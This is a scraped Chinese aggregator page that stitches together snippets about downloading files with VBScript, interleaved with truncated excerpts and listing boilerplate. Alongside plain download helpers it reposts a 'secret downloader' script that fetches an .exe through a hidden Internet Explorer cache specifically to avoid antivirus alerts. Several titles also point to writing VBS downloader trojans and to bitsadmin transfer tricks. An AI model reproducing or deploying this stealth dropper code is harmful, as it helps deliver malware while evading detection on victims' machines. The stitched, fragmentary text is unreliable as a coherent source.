精华内容
下载资源
问答
  • vbs下载文件

    2015-01-13 13:50:00
    vbs下载文件 Dim Url,SavePath,FilenameUrl="http://www.kumi.cn/photo/43/7e/63/437e636e413071e3.jpg"SavePath = "C:\Users\Administrator\Desktop\"Filename ="a.png"download Url ,SaveP...

    Dim Url,SavePath,Filename
    Url="http://www.kumi.cn/photo/43/7e/63/437e636e413071e3.jpg"
    SavePath = "C:\Users\Administrator\Desktop\"
    Filename ="a.png"

    download Url ,SavePath  & Filename 

    Sub download(url,target)
        Const adTypeBinary = 1
        Const adSaveCreateOverWrite = 2
        Dim http,ado
        Set http = CreateObject("Msxml2.XMLHTTP")
        http.open "GET",url,False
        http.send
        Set ado = createobject("Adodb.Stream")
        ado.Type = 1
        ado.Open
        ado.Write http.responseBody
        ado.SaveToFile target,2
        ado.Close
    EndSub


    posted on 2015-01-13 13:50 futrueface 阅读(...) 评论(...) 编辑 收藏

    转载于:https://www.cnblogs.com/futrueface/p/4221104.html

    展开全文
  • VBS下载文件

    2020-05-15 10:28:01
    '把以下代码存成.VBS,然后在命令行里调用。参数为:网址 本地文件 dim url dim file Set objArgs = WScript.Arguments if objArgs.Count < 2 then msgbox("Invalid param count! should be: url pathfilename...

    '把以下代码存成.VBS,然后在命令行里调用。参数为:网址  本地文件


    dim url
    dim file
    Set objArgs = WScript.Arguments
    if objArgs.Count < 2 then
          msgbox("Invalid param count! should be: url pathfilename")
    Else
          url = objArgs(0)
          file = objArgs(1)
          GetHttpResult url, "UTF-8", file
    end if


    function GetHttpResult(url, charset, file)
        dim http
        set http = Createobject("Msxml2.ServerXMLHTTP")
        Http.setTimeouts 10000, 10000, 10000, 10000 '设置超时时间  
        'Sub setTimeouts(ByVal resolveTimeout As Long, ByVal connectTimeout As Long, ByVal sendTimeout As Long, ByVal receiveTimeout As Long)

        http.Open "GET", url, False
        'Sub open(ByVal bstrMethod As String, ByVal bstrUrl As String, [ByVal varAsync], [ByVal bstrUser], [ByVal bstrPassword])

        http.Send() 

        If http.readystate = 4 Then
            GetHttpResult = SaveToFile(http.ResponseBody, charset, file)
        End If 
        
    end function

    Function SaveToFile(str, charset, file)
        Dim objStream
        Set objStream = CreateObject("Adodb.Stream")
        
        objStream.Type = 1
        'Const adTypeBinary = 1
        'Const adTypeText = 2
        
        objStream.Mode = 3
        'Const adModeRead = 1
        'Const adModeReadWrite = 3
        'Const adModeRecursive = 4194304
        'Const adModeShareDenyNone = 16
        'Const adModeShareDenyRead = 4
        'Const adModeShareDenyWrite = 8
        'Const adModeShareExclusive = 12
        'Const adModeUnknown = 0
        'Const adModeWrite = 2
        
        
        objStream.Open
        objStream.Write str
        objStream.Position = 0    
        
        objStream.Type = 2 
        'adTypeBinary = 1 
        'adTypeText = 2
        
        objStream.Charset = charset
    '    BytesToStr = objStream.ReadText 

        objStream.SaveToFile file, 2 
        'adSaveCreateNotExist = 1 
        'adSaveCreateOverWrite = 2
        
        objStream.Close
        Set objStream = Nothing
    End Function

    展开全文
  • 使用vbs下载文件.pdf

    2010-09-14 10:20:10
    使用vbs下载文件.pdfaaaaaaaaaaaaaaaaaaaa
  • VBS下载文件的新方法

    2020-09-05 20:19:35
    vbs实现文件下载的代码,CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
  • 可以躲过杀毒软件的vbs下载网络文件并保存为本地的加强版代码
  • 使用vbs下载文件

    2008-11-25 13:13:00
    说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" border=0> article_1073_codes...
     
    
    说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:
    icon_file.gif0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" border=0> article_1073_codes.txt
    当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
    那么,有没有更好的方法呢?答案很明显:-)
    我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
    为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLM/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Cache/paths/Directory 中读取。
    好了,不废话,看代码:
    '=============================
    ' get.vbs
    ' by lake2
    '=============================

    If WScript.Arguments.Count <> 3 Then
     WScript.Echo ""
     WScript.Echo "======= The Secret Downloader 0.1 ================"
     WScript.Echo " by lake2 "
     WScript.Echo "Usage: CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
     WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:/520.exe"
     WScript.Echo "=================================================="
     WScript.Quit
    End If

    URL = WScript.Arguments(0)
    exeName = WScript.Arguments(1)
    If InStr(exeName, ".") > 0 Then
     tmp = Left(exeName,InStrRev(exeName, ".")-1)
     tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
     FindFileName = tmp & "[1]" & tmp2
    End If
    LocalName = WScript.Arguments(2)

    set ie=wscript.createobject("internetexplorer.application")
    ie.visible = 0
    ie.navigate URL

    WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
    WScript.Sleep(5000)
    ie.quit
    WScript.Echo "[+]Get the file ..."
    set objshell= WScript.Createobject("WScript.Shell")
    strValue = objshell.RegRead("HKLM/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Cache/paths/Directory")
    ShowAllFile(strValue)
    WScript.Echo "[-]download Fail :("

    Sub ShowAllFile(Path)
     Set FSO = CreateObject("Scripting.FileSystemObject")
     Set f = FSO.GetFolder(Path)
     Set fc = f.SubFolders
     For Each f1 in fc
     If FSO.FileExists(path&"/"&f1.name&"/"&FindFileName) Then
     FSO.CopyFile path&"/"&f1.name&"/"&FindFileName, LocalName
     WScript.Echo "[+]Download Success !"
     WScript.Quit
     End If
     ShowAllFile path&"/"&f1.name
     Next
     Set FSO = Nothing
    End Sub
    使用方法:
    1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
    2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径

    例子:CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:/who.exe

    PS:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_-
    =======================================
    转:lake2的专栏
    展开全文
  • vbs下载文件

    千次阅读 2018-06-10 15:03:45
    Set post=CreateObject( "Msxml2.XMLHTTP" ) post.Open "GET" , ... '发送请求 ...'等待3秒,等文件下载 wscript.sleep 3000 aGet.Write(post.responseBody) '写数据 aGet.SaveToFile "csdn.html" , 2
    Set post=CreateObject("Msxml2.XMLHTTP")
    post.Open "GET","https://blog.csdn.net/xianda9133/article/details/51200034"
    '发送请求
    post.Send()
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open()
    '等待3秒,等文件下载
    wscript.sleep 3000 
    aGet.Write(post.responseBody)'写数据
    aGet.SaveToFile "csdn.html",2
    展开全文
  • 主要介绍了通过vbscript实现文件下载功能的实现代码,主要是使用了ADODB.Stream,需要的朋友可以参考下
  • 1、信息来源 疑似朝鲜通过鱼叉攻击韩国统一部记者的APT事件整理 https://mp.weixin.qq.com/s/4IFV31MBNbANnCVaJj7ZPQ ...2、利用思路 1、 下载http://恶意网址/note[.]png作为文件到%temp%路径下,通过【p...
  • 之前本公众号介绍过如何使用Power Query批量下载股票数据。本文分享一个达人使用VBA制作的股票成交数据下载工具,数据同样来源于雅虎财经。使用方式非常简单,操作界面如下图:左上方输入你需要下载的时间段起始日期...
  • 昨天下载并且安装了Updater Application Block后,需要执行一个Deploy.vbs文件,鄙人才疏学浅,这个小问题竟然也花费了我不少心机。现在把结论共享一下。首先,我的vbs文件关联已经被“豪杰”夺取了。我双击Deploy...
  • wps的vbs安装文件.rar

    2019-10-12 22:37:01
    WPS默认安装以后可能不能运行宏,需要安装VBA 宏模块,只需要下载以后点击双击安装即可
  • 虾米离线VBS下载

    2012-05-03 14:43:55
    vbs写的虾米网试听文件下载器。 可以用于参考xml和mp3标签。
  • 前言???? 前面我们讲个几个vbs恶搞小程序,生成的vbs文件虽然可以QQ发送给朋友 但是它的文件类型还是vbs,而且图标也一直是那个 ...今天教大家如何将vbs...下载完毕后是一个压缩包文件,解压后打开其中的exe文件即可
  • download.vbs

    2009-04-26 16:58:05
    download.vbs,VBS下载文件方法。
  • 今天在安装Microsoft Pocket PC 2003 SDK 时,再次遇到.vbs文件无法自动执行的情况。去网上找到了Microsoft Windows Script 5.6的下载下载安装后,vbs文件和wsscript.exe 自动关联了。(搞定)
  • 下载文件2.建立计划任务3.检查计划任务是否建立成功 建立文件夹dim fPath dim returnCodereturnCode="200:ok"fPath = "D:/WebHostingAdmin/defaultweb/CheckWeb/"CreateFolder(fPath)下载需要的文件Set xPost = ...
  • set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET"," ...",0 xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 ...可以做个自娱自乐的下载者玩一下,基础东西。
  • 经常要从FTP上下载文件,然后要把已经下载下来的文件删除。下载是用快车的,由于文件太多,手动删除费事,所以师傅教我使用这个VBS文件来帮助自己,只需要运行一下就可以删除已经下载完成的文件。以下为VBS的具体...
  • echo写vbs下载者木马

    千次阅读 2016-04-17 16:22:06
    1.文件下载(无回显)  echo iLocal = LCase(WScript.Arguments(1)) >c://iget.vbs echo iRemote = LCase(WScript.Arguments(0)) >>c://iget.vbs echo Set xPost = CreateObject("Microsoft.XMLHTTP") >...
  • ClickOnce添加自定义prerequisite参考http://www.codeproject.com/Articles/15863/Add-your-own-custom-prerequisite-to-quot-ClickOnce 下载地址: ...&lbrack;转&rsqb;Servlet 3&period;0 新特性详解.....
  • 其实这个上传文件是通过vbs脚本加载远程服务器的文件有点像远程文件包含 1. bitsadmin bitsadmin /transfer myDownLoadJob /download /priority normal "https://127.0.0.1/123.txt" "d:\xmapp\1.txt" 将服务器的1....
  • 由于近期一直被firefox的保存文件弹出框困扰,摸索尝试过几种方法,已有的方法可以跑通但是对对效果不太满意,因此一直在寻找合适的解决办法。 最近发现了也可以通过VBS来处理弹出框,速度也不错,其原理就是模拟...
  • 自动化迅雷下载文件(vbs脚本)调用迅雷api

    千次阅读 热门讨论 2009-08-24 18:26:00
    很多vbs版本调用迅雷的写法为:Set ThunderAgent = CreateObject("ThunderAgent.Agent.1") //找到那个Agent dllCall ThunderAgent.AddTask("http://www.hxit.net/files/bjhyn.mp3","北京欢迎你.mp3","c:/a

空空如也

空空如也

1 2 3 4 5 ... 18
收藏数 355
精华内容 142
关键字:

vbs下载文件